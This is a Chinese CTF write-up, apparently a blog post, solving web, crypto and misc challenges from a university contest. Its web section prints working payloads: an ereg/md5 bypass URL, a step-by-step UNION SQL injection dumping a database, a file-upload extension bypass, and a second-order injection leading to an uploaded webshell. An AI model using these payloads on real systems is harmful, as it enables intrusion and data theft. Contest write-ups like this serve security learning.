CUMT-CTF第二次双月赛Writeup

前言

毕竟是萌新,能有校赛打已经很开心了,感谢Source大佬的带飞,下面放上本次双月赛的部分题解;

正文

Web

签到题

是个easy的绕过,给出源码:

<?php
$white_list = range(0,9);
require_once('flag.php');
if(isset($_REQUEST['0ver']) && isset($_REQUEST['0ver1']) && isset($_REQUEST['0ver2'])){
    $a = $_REQUEST['0ver'];
    $b = $_REQUEST['0ver1'];
    $c = $_REQUEST['0ver2'];
    if(@ereg("^[0-9]+$", $a) === FALSE){
        echo 'no must be number';
    }else{
        if(in_array($a,$white_list)){
            if(strlen($a)>1){
                if(md5($c) === md5($b) && ($b !== $c)){
                    echo "<img src='dark.png'><br>";
                    echo 'you are a great dark phper<br>';
                    echo $flag;
                }
                else{
                    echo "you can do it!!!";
                }
                
            }else{
                echo 'you no dark';
            }
        }else{
            echo 'you are so dark';
        }
    }    
}else
    highlight_file(__FILE__); 

考察ereg()md5()的绕过姿势,00截断绕过ereg,上传数组绕过md5,即可得到flag如下:

kmRqk8.png

payload:http://202.119.201.199:32790/index.php?0ver=5%00a&0ver1[]=a&0ver2[]=b

SimpleUpload

是个前端验证,只允许上传图片,不允许上传php为后缀的文件,只需要bp截取改后缀名即可;

kMY3XF.md.png

小型线上赌场

一开始没有思路,毕竟是萌新还没有了解到CTF的很多姿势,请教新城瑞雪大佬得知是vim文件泄露,在vim编辑的时候没有正常退出,系统就会自动生成一个swp文件用来日后的恢复;直接down下来,vim打开得源码:

<?php
	$invest = $_GET['invest'];  
	$rand = rand(2,50);  
	$len = strlen(trim($_GET['invest']));
	foreach ($_GET as $key => $value) {
	    if(!is_numeric($value)||$value == '0'){
	        die('no no no!');
	    }
	}
	$money = number_format($invest*$rand);
	$money = intval(str_replace(',','',$money));
	$guess = intval($_GET['guess']); 
	if ($guess == $money && strlen($money)===$len){
	    echo $flag;
}

看懂源码意思即可,生成2~50的随机数randmoney$invest*$rand;如果$money==$guess就回显flag,即invest*倍数==guess即可,那我们可以直接直接bp爆破,猜一个guess,固定investguess的值,多次爆破,如果次数达到一定的上限一定会出现猜对倍数的情况,这样的话就会输出flag;

bp爆破设置:

  1. 不设置变量;

    kMdro4.md.png

  2. 设置payload类型为null payloads,上限次数设置大一点为2000;

    kMdEIH.md.png

  3. 随便设置一下options即可start;

结果:

升序排列length即可发现不匹配的特殊项,发现flag;

kMdfOK.md.png

kMdqSI.md.png

SimpleSQLi

  1. 首先输入?id=1%27报错;
  2. 接着注释掉后面的引号?id=1%27%23,回显正常,说明猜测成功存在注入点;

kmW7v9.png

  1. 接下来就是用order by去猜列数,?id=1%27%20order%20by%203%23回显正常应该是三列没错;
  2. 下面需要用union select去回显某一列的东西,构造?id=-1%27%20union%20select%201,2,3%23;这里需要第一句话为空才能显示后面一句话的内容,选择id=-1,就可以回显2和3,后面就可以利用这两列回显想要的东西;

kmfwrR.png

  1. 爆库名:?id=-1%27%20union%20select%201,2,database()%20%23security

kmhMWD.png

  1. 爆表名,此处使用mysql里面自带的information_schema表;id=-1%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%23发现flag表信息;

kmfjLn.png

  1. 爆列名:id=-1%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27flagishere%27%23有Id和flag两列;

kmhBlQ.png

  1. 爆值:?id=-1%27%20union%20select%201,2,group_concat(Id,0x3a,flag)%20from%20flagishere%23

kmh4l4.png

文件管理系统

队友Source在离别歌的blog里搜索到类似题目,了解到这题的切入点是二次注入;直接拿来payload就可以搞定这一题;

  1. 先选择文件进行上传,filename为',extension='',filename='x.jpg.jpgkM0tK0.png

  2. Rename file,注入后文件系统中文件名为xl.jpg.jpgkM02qK.png

  3. 上传真的包含webshell的文件;kMBUSA.png

  4. 改名后缀为.php,连接菜刀即可;kMBrTS.png

  5. flag在根目录;

    kuqufs.md.pngkuq1XV.md.png

参考链接:leavesongs的博客

Crypto

现代密码签到

一度以为是hash,因为base64decode出来是Salted__开头,真的是…被出题人虐到鼻青脸肿,和队里大佬讨论很久也不知道怎么办,还一度以为是AES,hint出来了是DES,也不知道密钥该如何解密…没想带直接找一个在线网站直接解密既可以了…密钥为空… 狂喷一口老血…km4Jc4.png

km4V1g.md.png

在线解密一次以后再解一次即可得到flag:

km4buj.md.png

这就是双重DES…

古典密码签到

也是解的很暴躁的一题,基本就是大家一开始都是base32出来就不知道那是什么玩意了…

km5n2D.md.png

翻看各种大佬的博客总结古典密码都没有这种奇怪的符号…直到队友解出来的那一刻我都是懵逼的(SourceNB),放上解题脚本:

#coding:utf-8
import base64
s="LZYGQ326N5QXMYAKORNG42TABJ2FUWS2MNRWG6A="
c=base64.b32decode(s)
print c
for i in range(128):
    ans=""
    for x in c:
        ans+=chr((ord(x)+i)%128)
    if 'ctf' in ans:
        print ans

在ASCII码内凯撒爆破即可:

km5oIx.png

慢着…这16进制是什么鬼…大胆猜测是easy_soeasy__hhh,填入果然没错…

总的来说做这两题的心情就是可以狂扁出题人小朋友了…

km5zdI.md.png

easyrsa

这题终于不是前面两题那么让人流泪了…,n和c里只出现了12个字符猜测是12进制;

n=36004b9A985A624479A4891b16130722A5A7453989bA61737A226368504A5689381236451796A445824b5A516b176b40135935b0b8999046154359b0560537100289b9795129505b461542A4897A56561529A705135AA772507bb3172b03b3425A99224b68b45b801459b29A070bAb9408761b4A70b905308772472934486924bA17013A2A801041A05178b0488AA5
e=5
c=411A016A671768793b5AAbA4A043001A468b8A9A6122290461266393181b021812b6AAbAA1b57161bAA300321174154862338b0098249626A93116b34752540987309A08520bb6780804b5679144173Ab7301b49322587504A75A7A2445928A07A650bb6076bA3412b1375205336b43A11A1510A22893b937065

给出以下信息,e=5,猜测是低指数攻击,上解题脚本:

#coding:utf-8
import gmpy2

def twl_to_dec(twl):
	ans=0
	l=len(twl)
	for i in range(l):
		if twl[i]=='A':
			temp=10
		elif twl[i]=='b':
			temp=11
		else:
			temp=int(twl[i],10)
		ans+=temp*pow(12,l-i-1)
	return ans

def small_msg(c,n,e):
	i=0
	while 1:
	    if(gmpy2.iroot(c+i*n, e)[1] == 1):
	        x = gmpy2.iroot(c+i*n, e)[0]
	        print hex(x)[2:].decode('hex')
	        break
		i += 1

def main():
	n="36004b9A985A624479A4891b16130722A5A7453989bA61737A226368504A5689381236451796A445824b5A516b176b40135935b0b8999046154359b0560537100289b9795129505b461542A4897A56561529A705135AA772507bb3172b03b3425A99224b68b45b801459b29A070bAb9408761b4A70b905308772472934486924bA17013A2A801041A05178b0488AA5"
	c="411A016A671768793b5AAbA4A043001A468b8A9A6122290461266393181b021812b6AAbAA1b57161bAA300321174154862338b0098249626A93116b34752540987309A08520bb6780804b5679144173Ab7301b49322587504A75A7A2445928A07A650bb6076bA3412b1375205336b43A11A1510A22893b937065"
	e=5
	n=twl_to_dec(n)
	c=twl_to_dec(c)
	small_msg(c,n,e)

if __name__ == '__main__':
	main()

12进制转化为 10进制以后直接进行小公钥指数攻击即可,得到flag:

kM2DiV.png

**友情提示:**自己写的进制转换虽然丑,but肯定比网上在线转换靠谱(微笑.jpg)

Misc

Misc签到

得到盲文图片如下,直接对应盲文表解出flag内容为:BAIND,将A换为1,加上flag提交即可;

kMBHfJ.png

BXS图标真好看

打开是个txt文件,查看内容发现IDHR关键字,猜测是png图片,直接改掉后缀得到一张图片;

kMDah4.png

发现flag相关内容,猜测是凯撒移位,但发现前面有8位,果断推翻猜想,继续猜测是栅栏密码,果然得到flag;

kMDvgs.png

base全家桶了解一下

nctf遇到过差不多的题,没什么难度;

解密脚本:

#coding:utf-8
import base64
s="R1kzRE1RWldHRTNET04yQ0dVM1RNTkpXSU0zREdNWlFHWkNETU5KVklZM1RJTVpRR01ZREtSUldHTTNUS05TRUc0MkRNTVpYR1EzRE1OMkU="
c=base64.b64decode(s)
print c
d=base64.b32decode(c)
print d
e=base64.b16decode(d)
print e

kMroRJ.md.png

起床改error啦

唯一做到的Misc…队友Source太给力…拿到手是个png图片

kMsCQA.jpg

丢进十六进制编辑器,发现猫腻,有zip文件头和flag信息;

kMsAdf.png

扒下来另存为zip,解压得到flag.doc,但是里面没有flag;

kMs3wV.png

提示直接告诉是doc隐写,那就显示隐藏文字即可,得到flag;

kMs2SH.png

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值